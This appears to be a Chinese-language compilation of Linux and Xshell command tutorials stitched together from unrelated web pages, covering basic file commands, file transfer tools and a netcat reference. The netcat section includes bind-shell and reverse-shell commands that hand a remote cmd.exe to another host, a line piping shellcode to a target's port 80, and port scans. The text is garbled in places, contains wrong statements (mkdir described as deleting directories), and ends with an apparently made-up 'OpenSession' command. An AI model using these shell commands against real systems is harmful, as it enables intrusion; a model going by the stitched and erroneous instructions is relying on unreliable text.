Xshell作为专业的终端模拟器,可以用来登录Linux,从而通过命令来控制Linux系统,下面就学习具体操作技巧。
打开电脑上的虚拟机,启动Linux系统,然后打开Xshell软件,连接上Linux系统,如下图所示。
图1:连接Linux
第一个命令:ls -l
ls全称是list,列出指定路径下的所有文件,-l表示显示文件的完整属性。
图2:查看文件命令
第二个命令:pwd
表示显示当前所在的目录,当我们操作很多目录之前不知道当前目录所在时就可以用这个命令来查看。
图3:查看文件目录命令
第三个命令:三个管理时钟的命令
时钟分为硬件时钟和系统时钟,两个时间很可能不一致。date命令看到的是系统时钟,而其他两个则是硬件时钟。
图4:时钟命令
第四个命令:help
可以进行命令的执行帮助,还可以用man命令,直接查看命令的手册,不过help命令更加常用。
图5:帮助命令
第五个命令:passwd
用来修改当前的密码,输入这个密码后换行,然后重复输入两次新的密码即可完成密码的修改,如果不想修改了用快捷键Ctrl+c可以终止命令。
图5:密码命令
第六个命令: shutdown -h now
表示立即关机,这样我们就可以直接关闭Linux系统啦。
图6:关闭系统
以上就是给大家介绍的在Xshell中操控Linux的常用命令,希望可以帮助大家更好地借助终端模拟器来控制Linux系统。
1、首先打开加速器,再打开xshell。2、其次点击右下角的设置,选择自动发生命令。3、最后在发送的信息输入要发放的命令,时间设为每周三晚上10点即可完成。
1、点击桌面的【Xshell】图标,打开软件。
2、使用xshell同时建立两个会话、连接。
3、点击菜单栏上的【查看】,然后选择【撰写栏】选项。
4、这时候在xshell的下面就会出现一个框,就是撰写栏。
5、点击左下角撰写栏上的蓝色图标,然后选择【全部会话】,意思是撰写栏中输入的命令会发到每一个会话、连接中。
6、在撰写栏中输入命令,然后回车,例如输入ls.
7、分别切换两个会话连接,可以看到,都执行了相同的命令并且都显示标签了。
Xshell 是一个强大的安全终端模拟软件,它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 协议。Xshell 通过互联网到远程主机的安全连接以及它创新性的设计和特色帮助用户在复杂的网络环境中享受他们的工作。 如何安装,请参考如下:命令ls——列出文件 ls 显示当前目录文件 ls -la 给出当前目录下所有文件的一个长列表,包括以句点开头的“隐藏”文件 ls a* 列出当前目录下以字母a开头的所有文件 ls -l *.doc 给出当前目录下以.doc结尾的所有文件 命令cp——复制文件 cp afile afile.bak 把文件复制为新文件afile.bak cp afile /home/bible/ 把文件afile从当前目录复制到/home/bible/目录下 cp * /tmp 把当前目录下的所有未隐藏文件复制到/tmp/目录下 cp -a docs docs.bak 递归性地把当前目录下的docs目录复制为新目录docs.bak,保持文件属性,并复制所有的文件,包括以句点开头的隐藏文件。为了方便起见,-a选项包含-R选项 cp -i 在覆盖前询问用户 cp -v 告诉用户正在做什么 命令rm——删除文件和目录 rm afile 删除文件afile rm * 删除当前目录下的所有文件(未隐藏文件)。rm命令不删除目录,除非也指定了-r(递归)参数。 rm -rf domed 删除domed目录以及它所包含的所有内容 rm -i a* 删除当前目录下所有以字母a开头的文件,并且在每次删除时,提示用户进行确认 4 命令mv——移动和重命名文件 mv aflie bfile 将afile重命名为bfile mv afile /tmp 把当前目录下的afile移动到/tmp/目录下 5 命令cd——更改目录 cd 切换到主目录 cd ~ 切换到主目录 cd /tmp 切换到目录/tmp cd dir 切换到当前目录下的dir目录 cd / 切换到根目录 cd .. 切换到到上一级目录 cd ../.. 切换到上二级目录 cd ~ 切换到用户目录,比如是root用户,则切换到/root下
rz,sz是便是Linux/Unix同Windows进行ZModem文件传输的命令行工具,所以要在Xshell连接属性中的设置上传协议为Zmodem和接受的文件路径 sz:将选定的文件发送到本地 rz:运行该命令会弹出一个文件选择窗口,从本地选择文件上传到Linux服务器 安装命令: 需要先在linux服务器上安装lrzsz工具包 从服务端(linux)发送文件到客户端(windows): 从客户端(windows)上传文件到服务端(linux): 1、如果我们处在IP为“192.168.0.1”的Linux系统下,将系统下的/home/etc.tar.gz文件拷贝到IP为“192.168.0.2”的远程Linux系统中root用户下的/tmp目录下: 命令输入完毕,会要求输入“192.168.0.2”服务器root的密码,然后开始远程拷贝数据 2、如果我们处在IP为“192.168.0.2”的Linux系统下,需要将IP为“192.168.0.1”的Linux服务器上 文件路径为“/home/etc.tar.gz”的文件拷贝到本服务器的/tmp路径下
1.wget命令 wget有很多参数,一般用的比较多的是我们需要把软件下在指定路径下面,这时可用-P指定: wget-P 指定路径 下载链接 1 当然,你也可以先cd进入你要下载到的路径,然后wget 当下载比较...2.pip install 命令 pip install 包名 安装包最新版本pip install 包名==1.0.4 安装包...3.conda install 命令 conda install -p /path/for/...
发送端:cattest.txt | nc -l -p 6666或者nc -l -p 6666 《 test.txt【监听6666端口,等待连接】(设发送端IP为10.20.133.152)接收端:nc 10.20.133.152 6666 》 test1.txt如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt想要连接到某处: nc 补充说明:执行本指令可设置路由器的相关参数。参 数:-g 设置路由器跃程通信网关,最丢哦可设置8个。-G 设置来源路由指向器,其数值为4的倍数。-h 在线帮助。-i 设置时间间隔,以便传送信息及扫描通信端口。-l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器。-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。-p 设置本地主机使用的通信端口。-r 乱数指定本地与远端主机的通信端口。-s 设置本地主机送出数据包的IP地址。-u 使用UDP传输协议。-v 显示指令执行过程。-w 设置等待连线的时间。-z 使用0输入/输出模式,只在扫描通信端口时使用。另外,nc命令也可用于端口扫描:nc -v -z -w2 10.20.133.152 1-14000可以扫描10.20.133.152主机上的1~14000号TCP端口;nc -u -v -z -w2 10.20.133.152 1-14000可以扫描10.20.133.152主机上的1~14000号UDP端口。nc是一款很不错的网络检测工具,以下是详细使用。’nc.exe -h’即可看到各参数的使用方法。基本格式:nc ...nc -l -p port -d 后台模式-e prog 程序重定向,一旦连接,就执行 -g gateway source-routing hop point, up to 8-G num source-routing pointer: 4, 8, 12, ...-h 帮助信息-i secs 延时的间隔-l 监听模式,用于入站连接-L 连接关闭后,仍然继续监听-n 指定数字的IP地址,不能用hostname-o file 记录16进制的传输-p port 本地端口号-r 随机本地及远程端口-s addr 本地源地址-t 使用TELNET交互方式-u UDP模式-v 详细输出--用两个-v可得到更详细的内容-w secs timeout的时间-z 将输入输出关掉--用于扫描时端口的表示方法可写为M-N的范围格式。1)连接到远程主机格式:nc -nvv 192.168.x.x 80讲解:连到192.168.x.x的TCP80端口2)监听本地主机格式:nc -l -p 80讲解:监听本机的TCP80端口3)扫描远程主机格式:nc -nvv -w2 -z 192.168.x.x 80-445讲解:扫描192.168.x.x的TCP80到TCP445的所有端口4)REMOTE主机绑定SHELL,例子:格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口5)REMOTE主机绑定SHELL并反向连接,例子:格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口以上为最基本的几种用法(其实NC的用法还有很多,当配合管道命令"|"与重定向命令""等等命令功能更强大......)。6)作攻击程序用,例子:格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80格式2:nc -nvv 192.168.x.x 80 《 c:exploit.txt讲解:连接到192.168.x.x的80端口,并在其管道中发送’c:exploit.txt’的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)附:’c:exploit.txt’为shellcode等7)作蜜罐用,例子:格式:nc -L -p 80讲解:使用’-L’(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止8)作蜜罐用,例子:格式:nc -L -p 80 》 c:log.txt讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:log.txt’中,如果把‘》’改为‘》》’即可以追加日志附:’c:log.txt’为日志等9)作蜜罐用,例子:格式1:nc -L -p 80 《 c:honeypot.txt格式2:type.exe c:honeypot.txt|nc -L -p 80讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,并把’c:honeypot.txt’的内容‘送’入其管道中!10)备份档案A机的资料夹 /data备份到B主机的backup.tgz源主机: tar czf - work|nc -l -c -p 1234目的主机: nc 192.168.0.1 1234 》a.tgz或A:tar -zcf data|nc -l -p 4444B:nc a 4444 》backup.tgz传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿posted on 2010-10-28 10:03 flyonok 阅读(2176) 评论(0) 收藏 引用 所属分类: linux
查找文件:find
find .-name *.rpm 在当前目录中查找rpm包
find .|grep page 在当前目录及其子目录中查找文件名包含page的文件
locate traceroute 在系统的任何地方查找文件名包含traceroute的文件
建立目录:mkdir
mkdir phots 在当前目录中建立名为phots的目录
mkdir -p this/that/theother 在当前目录下建立指定的嵌套子目录
mkdir 将删除空目录
文件上传下载:rz、sz
运行命令Sudo rz,即是接收文件,xshell就会弹出文件选择对话框,选好文件之后关闭对话框,文件就会上传到linux里的当前目录。
运行命令Sudo sz file 就是发文件到windows上(保存的目录是可以配置)比ftp命令方便多了,而且服务器不用再开FTP服务了。
检查磁盘空间占用情况:df
df -t ext4/tmpfs 显示指定类型磁盘
df -T 列出文件系统的类型
df -h 以更易读的方式显示目前磁盘空间和使用情况
显示虚拟内存使用情况:vmstat
vmstat -a 2 5 显示活跃和非活跃内存,2秒时间内进行5次采样
vmsta
查询内存ROM命令: grep MemTotal /proc/meminfo
查询交换空间SWAP命令: grep SwapTotal /proc/meminfo
或者使用free命令一起查询显示: free
Xshell可以使用“OpenSession”命令来连接服务器,而且不会过期。具体命令格式如下:OpenSession 《 服务器地址 》 《用户名》 《密码》 《端口号》。输入此命令后,即可长期连接到目标服务器。
推发布温馨提示: